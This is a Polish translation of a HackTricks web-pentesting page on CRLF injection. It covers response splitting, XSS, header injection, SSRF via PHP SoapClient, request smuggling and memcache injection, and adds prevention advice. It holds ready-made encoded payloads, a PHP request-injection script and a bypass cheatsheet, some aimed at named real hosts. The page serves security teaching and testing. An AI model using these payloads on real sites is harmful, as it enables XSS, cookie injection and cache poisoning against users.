hacktricks/pentesting-web/crlf-0d-0a.md

17 KiB

Wstrzyknięcie CRLF (%0D%0A)

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie Intigriti, premium platformie nagród za błędy stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Wstrzyknięcie CRLF

Wstrzyknięcie powrotu karetki (CR) i znaku nowej linii (LF), znanych łącznie jako CRLF, to specjalne sekwencje znaków używane w protokole HTTP do oznaczania końca linii lub początku nowej. Serwery internetowe i przeglądarki używają CRLF do rozróżniania między nagłówkami HTTP a treścią odpowiedzi. Te znaki są powszechnie stosowane w komunikacji HTTP/1.1 na różnych typach serwerów internetowych, takich jak Apache i Microsoft IIS.

Wrażliwość na Wstrzyknięcie CRLF

Wstrzyknięcie CRLF polega na wstawieniu znaków CR i LF do dostarczonych przez użytkownika danych wejściowych. Ta czynność wprowadza w błąd serwer, aplikację lub użytkownika, sugerując, że wstrzyknięta sekwencja jest końcem jednej odpowiedzi i początkiem kolejnej. Choć te znaki nie są w swojej naturze szkodliwe, ich niewłaściwe użycie może prowadzić do podziału odpowiedzi HTTP i innych złośliwych działań.

Przykład: Wstrzyknięcie CRLF w pliku dziennika

Przykład stąd

Rozważ plik dziennika w panelu administratora, który ma format: IP - Czas - Ścieżka odwiedzona. Typowy wpis może wyglądać następująco:

123.123.123.123 - 08:15 - /index.php?page=home

Atakujący może wykorzystać wstrzyknięcie CRLF do manipulacji tym dziennikiem. Wstrzykując znaki CRLF do żądania HTTP, atakujący może zmienić strumień wyjściowy i sfabrykować wpisy dziennika. Na przykład, wstrzyknięta sekwencja może przekształcić wpis dziennika w:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Tutaj %0d i %0a reprezentują zakodowane w formie URL CR i LF. Po ataku, dziennik wyświetliłby się w mylący sposób:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Atakujący maskuje swoje złośliwe działania, sprawiając, że wydaje się, że działania te zostały wykonane przez localhosta (podmiot zwykle uznawany za zaufany w środowisku serwera). Serwer interpretuje część zapytania rozpoczynającą się od %0d%0a jako pojedynczy parametr, podczas gdy parametr restrictedaction jest analizowany jako inny, oddzielny wejście. Zmanipulowane zapytanie efektywnie imituje prawidłowe polecenie administracyjne: /index.php?page=home&restrictedaction=edit

Podział Odpowiedzi HTTP

Opis

Podział odpowiedzi HTTP to podatność na bezpieczeństwo, która pojawia się, gdy atakujący wykorzystuje strukturę odpowiedzi HTTP. Ta struktura oddziela nagłówki od treści za pomocą określonej sekwencji znaków, powrotu karetki (CR), a następnie przejścia do nowej linii (LF), łącznie określanej jako CRLF. Jeśli atakujący zdoła wstawić sekwencję CRLF do nagłówka odpowiedzi, może efektywnie manipulować następną zawartością odpowiedzi. Tego rodzaju manipulacja może prowadzić do poważnych problemów z bezpieczeństwem, zwłaszcza ataków typu Cross-site Scripting (XSS).

XSS poprzez Podział Odpowiedzi HTTP

  1. Aplikacja ustawia niestandardowy nagłówek w ten sposób: X-Custom-Header: UserInput
  2. Aplikacja pobiera wartość dla UserInput z parametru zapytania, powiedzmy "user_input". W przypadkach braku odpowiedniej walidacji i kodowania wejścia, atakujący może stworzyć ładunek, który zawiera sekwencję CRLF, a następnie złośliwą zawartość.
  3. Atakujący tworzy adres URL z specjalnie spreparowanym 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • W tym adresie URL, %0d%0a%0d%0a to zakodowana w formie URL sekwencja CRLFCRLF. To oszukuje serwer, aby wstawił sekwencję CRLF, sprawiając, że serwer traktuje następną część jako treść odpowiedzi.
  1. Serwer odzwierciedla wejście atakującego w nagłówku odpowiedzi, prowadząc do niezamierzonej struktury odpowiedzi, w której złośliwy skrypt jest interpretowany przez przeglądarkę jako część treści odpowiedzi.

Przykład Podziału Odpowiedzi HTTP prowadzący do Przekierowania

Z https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Przeglądarka do:

/%0d%0aLocation:%20http://myweb.com

A serwer odpowiada nagłówkiem:

Location: http://myweb.com

Inny przykład: (ze strony https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

W ścieżce URL

Możesz wysłać ładunek wewnątrz ścieżki URL, aby kontrolować odpowiedź serwera (przykład z tutaj):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Sprawdź więcej przykładów w:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

Wstrzykiwanie Nagłówków HTTP

Wstrzykiwanie nagłówków HTTP, często wykorzystywane poprzez wstrzykiwanie CRLF (powrót karetki i znak nowej linii), pozwala atakującym wstawić nagłówki HTTP. Może to podważyć mechanizmy bezpieczeństwa, takie jak filtry XSS (Cross-Site Scripting) lub SOP (Same-Origin Policy), potencjalnie prowadząc do nieautoryzowanego dostępu do danych poufnych, takich jak tokeny CSRF, lub manipulacji sesji użytkownika poprzez podstawienie plików cookie.

Wykorzystanie CORS poprzez Wstrzykiwanie Nagłówków HTTP

Atakujący może wstrzyknąć nagłówki HTTP, aby umożliwić CORS (Cross-Origin Resource Sharing), omijając ograniczenia narzucone przez SOP. To naruszenie pozwala skryptom z złośliwych źródeł na interakcję z zasobami z innego źródła, potencjalnie uzyskując dostęp do chronionych danych.

SSRF i Wstrzykiwanie Żądania HTTP poprzez CRLF

Wstrzykiwanie CRLF może być wykorzystane do stworzenia i wstrzyknięcia całkowicie nowego żądania HTTP. Przykładem tego jest podatność w klasie SoapClient w PHP, konkretnie w parametrze user_agent. Poprzez manipulację tym parametrem, atakujący może wstawić dodatkowe nagłówki i treść ciała, lub nawet wstrzyknąć całkowicie nowe żądanie HTTP. Poniżej znajduje się przykład w PHP demonstrujący to wykorzystanie:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Wstrzykiwanie nagłówków do przemyślnego żądania

Aby uzyskać więcej informacji na temat tej techniki i potencjalnych problemów, sprawdź oryginalne źródło.

Możesz wstrzyknąć istotne nagłówki, aby zapewnić, że serwer zachowa otwarte połączenie po odpowiedzi na początkowe żądanie:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Następnie można określić drugie żądanie. Ten scenariusz zazwyczaj obejmuje smuglowanie żądań HTTP, technikę, w której dodatkowe nagłówki lub elementy ciała dodane przez serwer po wstrzyknięciu mogą prowadzić do różnych eksploatacji bezpieczeństwa.

Wykorzystanie:

  1. Zatrucie prefiksem złośliwym: Ta metoda polega na zatruciu następnego żądania użytkownika lub pamięci podręcznej sieciowej poprzez określenie złośliwego prefiksu. Przykład:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Tworzenie prefiksu do zatrucia kolejki odpowiedzi: Ta metoda polega na stworzeniu prefiksu, który w połączeniu z końcowymi zbędnymi elementami tworzy kompletną drugą prośbę. Może to wywołać zatrucie kolejki odpowiedzi. Przykład:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Wstrzykiwanie Memcache

Memcache to sklep klucz-wartość, który używa protokołu tekstowego. Więcej informacji znajdziesz w:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Aby uzyskać pełne informacje, przeczytaj oryginalny opis

Jeśli platforma pobiera dane z żądania HTTP i używa ich bez oczyszczania do wykonywania żądań do serwera memcache, atakujący może wykorzystać to zachowanie do wstrzykiwania nowych poleceń memcache.

Na przykład, w oryginalnie odkrytej podatności, klucze pamięci podręcznej były używane do zwracania IP i portu, do którego użytkownik powinien się połączyć, a atakujący mogli wstrzykiwać polecenia memcache, które zatruwały pamięć podręczną, wysyłając szczegóły ofiar (w tym nazwy użytkowników i hasła) do serwerów atakującego:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Ponadto, badacze odkryli również, że mogą rozsynchronizować odpowiedzi memcache, aby wysyłać atakującego IP i porty do użytkowników, których adresu e-mail atakujący nie znali:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Jak Zapobiegać Wstrzykiwaniu CRLF / Nagłówków HTTP w Aplikacjach Sieciowych

Aby zmniejszyć ryzyko wstrzykiwania CRLF (powrót karetki i nowa linia) lub nagłówków HTTP w aplikacjach sieciowych, zaleca się zastosowanie następujących strategii:

  1. Unikaj Bezpośredniego Wejścia Użytkownika w Nagłówki Odpowiedzi: Najbezpieczniejszym podejściem jest powstrzymanie się od bezpośredniego uwzględniania dostarczonych przez użytkownika danych w nagłówkach odpowiedzi.
  2. Koduj Specjalne Znaki: Jeśli unikanie bezpośredniego wejścia użytkownika nie jest możliwe, upewnij się, że używasz funkcji do kodowania specjalnych znaków, takich jak CR (powrót karetki) i LF (nowa linia). Ta praktyka zapobiega możliwości wstrzykiwania CRLF.
  3. Aktualizuj Język Programowania: Regularnie aktualizuj używany język programowania w swoich aplikacjach sieciowych do najnowszej wersji. Wybierz wersję, która domyślnie nie zezwala na wstrzykiwanie znaków CR i LF w funkcjach odpowiedzialnych za ustawianie nagłówków HTTP.

CHEATSHEET

Cheatsheet dostępny tutaj

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Narzędzia automatyczne

Lista wykrywania ataków siłowych

Odnośniki

Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie do bug bounty Intigriti, stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: